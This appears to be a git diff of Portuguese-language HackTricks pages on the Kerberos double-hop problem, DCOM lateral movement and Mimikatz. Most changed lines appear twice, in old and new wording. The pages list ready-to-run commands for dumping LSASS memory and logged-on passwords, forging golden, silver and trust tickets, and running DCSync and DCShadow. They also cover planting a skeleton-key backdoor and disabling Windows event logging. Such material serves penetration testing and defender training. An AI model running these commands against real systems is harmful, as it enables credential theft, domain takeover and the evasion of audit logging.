Quando uma **autenticação** ocorre através do **Kerberos**, as **credenciais** **não são** armazenadas em **memória.** Portanto, se você executar o mimikatz, você **não encontrará credenciais** do usuário na máquina, mesmo que ele esteja executando processos.
Isso ocorre porque, ao se conectar com o Kerberos, essas são as etapas:
Isso acontece porque, ao conectar-se com o Kerberos, estes são os passos:
1. O Usuário1 fornece credenciais e o **controlador de domínio** retorna um **TGT** do Kerberos para o Usuário1.
2. O Usuário1 usa o **TGT** para solicitar um **ticket de serviço** para **conectar-se** ao Servidor1.
3. O Usuário1 **conecta-se** ao **Servidor1** e fornece o **ticket de serviço**.
4. O **Servidor1** **não** tem as **credenciais** do Usuário1 em cache ou o **TGT** do Usuário1. Portanto, quando o Usuário1 do Servidor1 tenta fazer login em um segundo servidor, ele **não consegue se autenticar**.
1. User1 fornece credenciais e o **controlador de domínio** retorna um **TGT** Kerberos para o User1.
2. User1 usa o **TGT** para solicitar um **ticket de serviço** para **conectar-se** ao Server1.
3. User1 **conecta-se** ao **Server1** e fornece o **ticket de serviço**.
4. O **Server1** **não tem** as **credenciais** do User1 armazenadas ou o **TGT** do User1. Portanto, quando o User1 do Server1 tenta fazer login em um segundo servidor, ele **não consegue se autenticar**.
### Delegação Não Restrita
Se a **delegação não restrita** estiver habilitada no PC, isso não acontecerá, pois o **Servidor** receberá um **TGT** de cada usuário que o acessar. Além disso, se a delegação não restrita for usada, você provavelmente pode **comprometer o Controlador de Domínio** a partir dela.\
[Mais informações na página de delegação não restrita](unconstrained-delegation.md).
Se a **delegação não restrita** estiver habilitada no PC, isso não acontecerá, pois o **Servidor** irá **obter** um **TGT** de cada usuário que o acessar. Além disso, se a delegação não restrita for usada, você provavelmente pode **comprometer o Controlador de Domínio** a partir dele.\
[**Mais informações na página de delegação não restrita**](unconstrained-delegation.md).
### CredSSP
@ -41,56 +44,58 @@ Outra maneira de evitar esse problema, que é [**notavelmente insegura**](https:
> A autenticação CredSSP delega as credenciais do usuário do computador local para um computador remoto. Essa prática aumenta o risco de segurança da operação remota. Se o computador remoto for comprometido, quando as credenciais forem passadas para ele, as credenciais podem ser usadas para controlar a sessão de rede.
É altamente recomendável que o **CredSSP** seja desativado em sistemas de produção, redes sensíveis e ambientes semelhantes devido a preocupações de segurança. Para determinar se o **CredSSP** está habilitado, o comando `Get-WSManCredSSP` pode ser executado. Esse comando permite a **verificação do status do CredSSP** e pode até ser executado remotamente, desde que o **WinRM** esteja habilitado.
É altamente recomendável que o **CredSSP** seja desativado em sistemas de produção, redes sensíveis e ambientes semelhantes devido a preocupações de segurança. Para determinar se o **CredSSP** está habilitado, o comando `Get-WSManCredSSP` pode ser executado. Este comando permite a **verificação do status do CredSSP** e pode até ser executado remotamente, desde que o **WinRM** esteja habilitado.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Soluções alternativas
## Soluções Alternativas
### Invocar Comando
### Invoke Command
Para lidar com o problema de duplo salto, é apresentado um método envolvendo um `Invoke-Command` aninhado. Isso não resolve o problema diretamente, mas oferece uma solução alternativa sem a necessidade de configurações especiais. A abordagem permite executar um comando (`hostname`) em um servidor secundário por meio de um comando PowerShell executado a partir de uma máquina de ataque inicial ou por meio de uma sessão PS previamente estabelecida com o primeiro servidor. Veja como é feito:
Para resolver o problema do double hop, é apresentado um método que envolve um `Invoke-Command` aninhado. Isso não resolve o problema diretamente, mas oferece uma solução alternativa sem a necessidade de configurações especiais. A abordagem permite executar um comando (`hostname`) em um servidor secundário através de um comando PowerShell executado de uma máquina de ataque inicial ou através de uma PS-Session previamente estabelecida com o primeiro servidor. Veja como é feito:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### Registrar Configuração de Sessão PS
Alternativamente, estabelecer uma PS-Session com o primeiro servidor e executar o `Invoke-Command` usando `$cred` é sugerido para centralizar tarefas.
Uma solução para contornar o problema de duplo salto envolve o uso de `Register-PSSessionConfiguration` com `Enter-PSSession`. Este método requer uma abordagem diferente do `evil-winrm` e permite uma sessão que não sofre com a limitação do duplo salto.
### Registrar Configuração de PSSession
Uma solução para contornar o problema do double hop envolve o uso de `Register-PSSessionConfiguration` com `Enter-PSSession`. Este método requer uma abordagem diferente do `evil-winrm` e permite uma sessão que não sofre da limitação do double hop.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### Encaminhamento de Porta
### PortForwarding
Para administradores locais em um alvo intermediário, o encaminhamento de porta permite que solicitações sejam enviadas para um servidor final. Usando `netsh`, uma regra pode ser adicionada para o encaminhamento de porta, juntamente com uma regra de firewall do Windows para permitir a porta encaminhada.
Para administradores locais em um alvo intermediário, o redirecionamento de porta permite que solicitações sejam enviadas para um servidor final. Usando `netsh`, uma regra pode ser adicionada para o redirecionamento de porta, juntamente com uma regra de firewall do Windows para permitir a porta redirecionada.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` pode ser usado para encaminhar solicitações do WinRM, potencialmente como uma opção menos detectável se a monitorização do PowerShell for uma preocupação. O comando abaixo demonstra o seu uso:
`winrs.exe` pode ser usado para encaminhar solicitações WinRM, potencialmente como uma opção menos detectável se o monitoramento do PowerShell for uma preocupação. O comando abaixo demonstra seu uso:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
A instalação do OpenSSH no primeiro servidor permite uma solução alternativa para o problema de double-hop, particularmente útil para cenários de jump box. Este método requer a instalação e configuração da CLI do OpenSSH para Windows. Quando configurado para Autenticação por Senha, isso permite que o servidor intermediário obtenha um TGT em nome do usuário.
Instalar o OpenSSH no primeiro servidor permite uma solução para o problema do double-hop, particularmente útil para cenários de jump box. Este método requer a instalação e configuração do OpenSSH para Windows via CLI. Quando configurado para Autenticação por Senha, isso permite que o servidor intermediário obtenha um TGT em nome do usuário.
#### Etapas de Instalação do OpenSSH
#### Passos para Instalação do OpenSSH
1. Baixe e mova o arquivo zip da última versão do OpenSSH para o servidor de destino.
1. Baixe e mova o arquivo zip da versão mais recente do OpenSSH para o servidor de destino.
2. Descompacte e execute o script `Install-sshd.ps1`.
3. Adicione uma regra de firewall para abrir a porta 22 e verifique se os serviços SSH estão em execução.
Para resolver erros de `Conexão redefinida`, as permissões podem precisar ser atualizadas para permitir que todos tenham acesso de leitura e execução no diretório do OpenSSH.
Para resolver erros de `Connection reset`, as permissões podem precisar ser atualizadas para permitir que todos tenham acesso de leitura e execução no diretório do OpenSSH.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -105,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivas
* Obtenha o [**merch oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **me siga** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -24,13 +27,13 @@
**Para mais informações sobre esta técnica, consulte o post original em [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Objetos do Modelo de Objeto Componente Distribuído (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para Modelo de Objeto Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser recuperada usando o comando PowerShell:
Objetos do Modelo de Objeto Componente Distribuído (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objeto Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser recuperada usando o comando PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```
O objeto COM, [Classe de Aplicação MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite a automação das operações de snap-in do MMC. Notavelmente, este objeto contém um método `ExecuteShellCommand` sob `Document.ActiveView`. Mais informações sobre este método podem ser encontradas [aqui](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifique sua execução:
Esse recurso facilita a execução de comandos através de uma rede por meio de uma aplicação DCOM. Para interagir com DCOM remotamente como um administrador, o PowerShell pode ser utilizado da seguinte forma:
Este recurso facilita a execução de comandos através de uma rede por meio de uma aplicação DCOM. Para interagir com DCOM remotamente como um administrador, o PowerShell pode ser utilizado da seguinte forma:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```

View file

@ -1,74 +1,76 @@
# Mimikatz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Esta página é baseada em uma do [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Confira o original para mais informações!
## LM e texto claro na memória
## LM e Senhas em Texto Claro na Memória
A partir do Windows 8.1 e Windows Server 2012 R2, medidas significativas foram implementadas para proteger contra roubo de credenciais:
A partir do Windows 8.1 e Windows Server 2012 R2, medidas significativas foram implementadas para proteger contra o roubo de credenciais:
- **Hashes LM e senhas em texto claro** não são mais armazenados na memória para aumentar a segurança. Uma configuração específica do registro, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, deve ser configurada com um valor DWORD de `0` para desativar a Autenticação Digest, garantindo que senhas "em texto claro" não sejam armazenadas em cache no LSASS.
- **Proteção LSA** é introduzida para proteger o processo da Autoridade de Segurança Local (LSA) contra leitura não autorizada de memória e injeção de código. Isso é alcançado marcando o LSASS como um processo protegido. A ativação da Proteção LSA envolve:
1. Modificar o registro em _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ definindo `RunAsPPL` como `dword:00000001`.
2. Implementar um Objeto de Diretiva de Grupo (GPO) que aplique essa alteração de registro em dispositivos gerenciados.
1. Modificar o registro em _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ definindo `RunAsPPL` para `dword:00000001`.
2. Implementar um Objeto de Política de Grupo (GPO) que aplica essa alteração de registro em dispositivos gerenciados.
Apesar dessas proteções, ferramentas como o Mimikatz podem contornar a Proteção LSA usando drivers específicos, embora tais ações provavelmente sejam registradas nos logs de eventos.
Apesar dessas proteções, ferramentas como Mimikatz podem contornar a Proteção LSA usando drivers específicos, embora tais ações provavelmente sejam registradas nos logs de eventos.
### Contrariando a Remoção do Privilégio SeDebugPrivilege
### Combatendo a Remoção do SeDebugPrivilege
Administradores geralmente têm o SeDebugPrivilege, permitindo que depurem programas. Esse privilégio pode ser restringido para evitar despejos de memória não autorizados, uma técnica comum usada por atacantes para extrair credenciais da memória. No entanto, mesmo com esse privilégio removido, a conta TrustedInstaller ainda pode realizar despejos de memória usando uma configuração de serviço personalizada:
Administradores normalmente têm SeDebugPrivilege, permitindo que eles depurem programas. Este privilégio pode ser restrito para evitar despejos de memória não autorizados, uma técnica comum usada por atacantes para extrair credenciais da memória. No entanto, mesmo com esse privilégio removido, a conta TrustedInstaller ainda pode realizar despejos de memória usando uma configuração de serviço personalizada:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Isso permite o despejo da memória do `lsass.exe` em um arquivo, que pode então ser analisado em outro sistema para extrair credenciais:
Isso permite o despejo da memória do `lsass.exe` para um arquivo, que pode então ser analisado em outro sistema para extrair credenciais:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
## Opções do Mimikatz
## Mimikatz Options
A manipulação de logs de eventos no Mimikatz envolve duas ações principais: limpar logs de eventos e modificar o serviço de Eventos para evitar o registro de novos eventos. Abaixo estão os comandos para realizar essas ações:
A manipulação de logs de eventos no Mimikatz envolve duas ações principais: limpar logs de eventos e corrigir o serviço de Eventos para evitar o registro de novos eventos. Abaixo estão os comandos para realizar essas ações:
#### Limpando Logs de Eventos
#### Clearing Event Logs
- **Comando**: Esta ação visa deletar os logs de eventos, dificultando o rastreamento de atividades maliciosas.
- O Mimikatz não fornece um comando direto em sua documentação padrão para limpar logs de eventos diretamente via linha de comando. No entanto, a manipulação de logs de eventos geralmente envolve o uso de ferramentas do sistema ou scripts fora do Mimikatz para limpar logs específicos (por exemplo, usando PowerShell ou Visualizador de Eventos do Windows).
- **Command**: Esta ação tem como objetivo deletar os logs de eventos, dificultando o rastreamento de atividades maliciosas.
- O Mimikatz não fornece um comando direto em sua documentação padrão para limpar logs de eventos diretamente via sua linha de comando. No entanto, a manipulação de logs de eventos geralmente envolve o uso de ferramentas de sistema ou scripts fora do Mimikatz para limpar logs específicos (por exemplo, usando PowerShell ou Visualizador de Eventos do Windows).
#### Recurso Experimental: Modificando o Serviço de Eventos
#### Experimental Feature: Patching the Event Service
- **Comando**: `event::drop`
- Este comando experimental é projetado para modificar o comportamento do Serviço de Registro de Eventos, impedindo efetivamente o registro de novos eventos.
- **Command**: `event::drop`
- Este comando experimental é projetado para modificar o comportamento do Serviço de Registro de Eventos, efetivamente impedindo-o de registrar novos eventos.
- Exemplo: `mimikatz "privilege::debug" "event::drop" exit`
- O comando `privilege::debug` garante que o Mimikatz opere com os privilégios necessários para modificar os serviços do sistema.
- O comando `event::drop` então modifica o serviço de Registro de Eventos.
- O comando `privilege::debug` garante que o Mimikatz opere com os privilégios necessários para modificar serviços do sistema.
- O comando `event::drop` então corrige o serviço de Registro de Eventos.
### Kerberos Ticket Attacks
### Ataques de Ticket Kerberos
### Golden Ticket Creation
### Criação de Golden Ticket
Um Golden Ticket permite a impersonação de acesso em todo o domínio. Comando e parâmetros principais:
Um Golden Ticket permite a impersonação de acesso em toda a rede de domínio. Comando chave e parâmetros:
- Comando: `kerberos::golden`
- Parâmetros:
- Command: `kerberos::golden`
- Parameters:
- `/domain`: O nome do domínio.
- `/sid`: O Identificador de Segurança (SID) do domínio.
- `/user`: O nome de usuário a ser impersonificado.
- `/user`: O nome de usuário a ser impersonado.
- `/krbtgt`: O hash NTLM da conta de serviço KDC do domínio.
- `/ptt`: Injeta diretamente o ticket na memória.
- `/ticket`: Salva o ticket para uso posterior.
@ -79,9 +81,9 @@ mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-1234567
```
### Criação de Silver Ticket
Silver Tickets concedem acesso a serviços específicos. Comando chave e parâmetros:
Silver Tickets concedem acesso a serviços específicos. Comando e parâmetros principais:
- Comando: Semelhante ao Golden Ticket, mas direcionado a serviços específicos.
- Comando: Semelhante ao Golden Ticket, mas direciona serviços específicos.
- Parâmetros:
- `/service`: O serviço a ser direcionado (por exemplo, cifs, http).
- Outros parâmetros semelhantes ao Golden Ticket.
@ -90,47 +92,46 @@ Exemplo:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Criação de Trust Ticket
### Criação de Ticket de Confiança
Trust Tickets são usados para acessar recursos em diferentes domínios, aproveitando os relacionamentos de confiança. Comando chave e parâmetros:
Tickets de Confiança são usados para acessar recursos entre domínios aproveitando relacionamentos de confiança. Comando e parâmetros principais:
- Comando: Semelhante ao Golden Ticket, mas para relacionamentos de confiança.
- Parâmetros:
- `/target`: O FQDN do domínio alvo.
- `/rc4`: O hash NTLM para a conta de confiança.
- `/target`: O FQDN do domínio alvo.
- `/rc4`: O hash NTLM para a conta de confiança.
Exemplo:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### Comandos Kerberos Adicionais
### Comandos Adicionais do Kerberos
- **Listar Tickets**:
- Comando: `kerberos::list`
- Lista todos os tickets Kerberos para a sessão do usuário atual.
- Lista todos os tickets do Kerberos para a sessão do usuário atual.
- **Passar o Cache**:
- Comando: `kerberos::ptc`
- Injeta tickets Kerberos a partir de arquivos de cache.
- Injeta tickets do Kerberos a partir de arquivos de cache.
- Exemplo: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Passar o Ticket**:
- Comando: `kerberos::ptt`
- Permite usar um ticket Kerberos em outra sessão.
- Permite usar um ticket do Kerberos em outra sessão.
- Exemplo: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Limpar Tickets**:
- Comando: `kerberos::purge`
- Limpa todos os tickets Kerberos da sessão.
- Limpa todos os tickets do Kerberos da sessão.
- Útil antes de usar comandos de manipulação de tickets para evitar conflitos.
### Manipulação do Active Directory
- **DCShadow**: Temporariamente faz uma máquina agir como um DC para manipulação de objetos AD.
- **DCShadow**: Faz uma máquina agir temporariamente como um DC para manipulação de objetos do AD.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Imita um DC para solicitar dados de senha.
- **DCSync**: Imitando um DC para solicitar dados de senha.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Acesso a Credenciais
@ -138,60 +139,76 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- **LSADUMP::LSA**: Extrai credenciais do LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Imita um DC usando dados de senha de uma conta de computador.
- **LSADUMP::NetSync**: Imitar um DC usando os dados de senha de uma conta de computador.
- *Nenhum comando específico fornecido para NetSync no contexto original.*
- **LSADUMP::SAM**: Acessa o banco de dados SAM local.
- **LSADUMP::SAM**: Acessar o banco de dados SAM local.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Decifra segredos armazenados no registro.
- **LSADUMP::Secrets**: Descriptografar segredos armazenados no registro.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Define um novo hash NTLM para um usuário.
- **LSADUMP::SetNTLM**: Definir um novo hash NTLM para um usuário.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Recupera informações de autenticação de confiança.
- **LSADUMP::Trust**: Recuperar informações de autenticação de confiança.
- `mimikatz "lsadump::trust" exit`
### Diversos
- **MISC::Skeleton**: Injeta uma backdoor no LSASS em um DC.
- **MISC::Skeleton**: Injeta um backdoor no LSASS em um DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Escalação de Privilégios
- **PRIVILEGE::Backup**: Adquire direitos de backup.
- **PRIVILEGE::Backup**: Adquirir direitos de backup.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Obtém privilégios de debug.
- **PRIVILEGE::Debug**: Obter privilégios de depuração.
- `mimikatz "privilege::debug" exit`
### Despejo de Credenciais
### Extração de Credenciais
- **SEKURLSA::LogonPasswords**: Mostra credenciais para usuários logados.
- **SEKURLSA::LogonPasswords**: Mostrar credenciais de usuários logados.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Extrai tickets Kerberos da memória.
- **SEKURLSA::Tickets**: Extrair tickets do Kerberos da memória.
- `mimikatz "sekurlsa::tickets /export" exit`
### Manipulação de Sid e Token
### Manipulação de SID e Token
- **SID::add/modify**: Altera SID e SIDHistory.
- **SID::add/modify**: Alterar SID e SIDHistory.
- Adicionar: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Modificar: *Nenhum comando específico para modificar no contexto original.*
- **TOKEN::Elevate**: Imita tokens.
- **TOKEN::Elevate**: Imitar tokens.
- `mimikatz "token::elevate /domainadmin" exit`
### Serviços de Terminal
- **TS::MultiRDP**: Permite múltiplas sessões RDP.
- **TS::MultiRDP**: Permitir múltiplas sessões RDP.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: Lista sessões TS/RDP.
- **TS::Sessions**: Listar sessões TS/RDP.
- *Nenhum comando específico fornecido para TS::Sessions no contexto original.*
### Vault
### Cofre
- Extrai senhas do Windows Vault.
- Extrair senhas do Cofre do Windows.
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}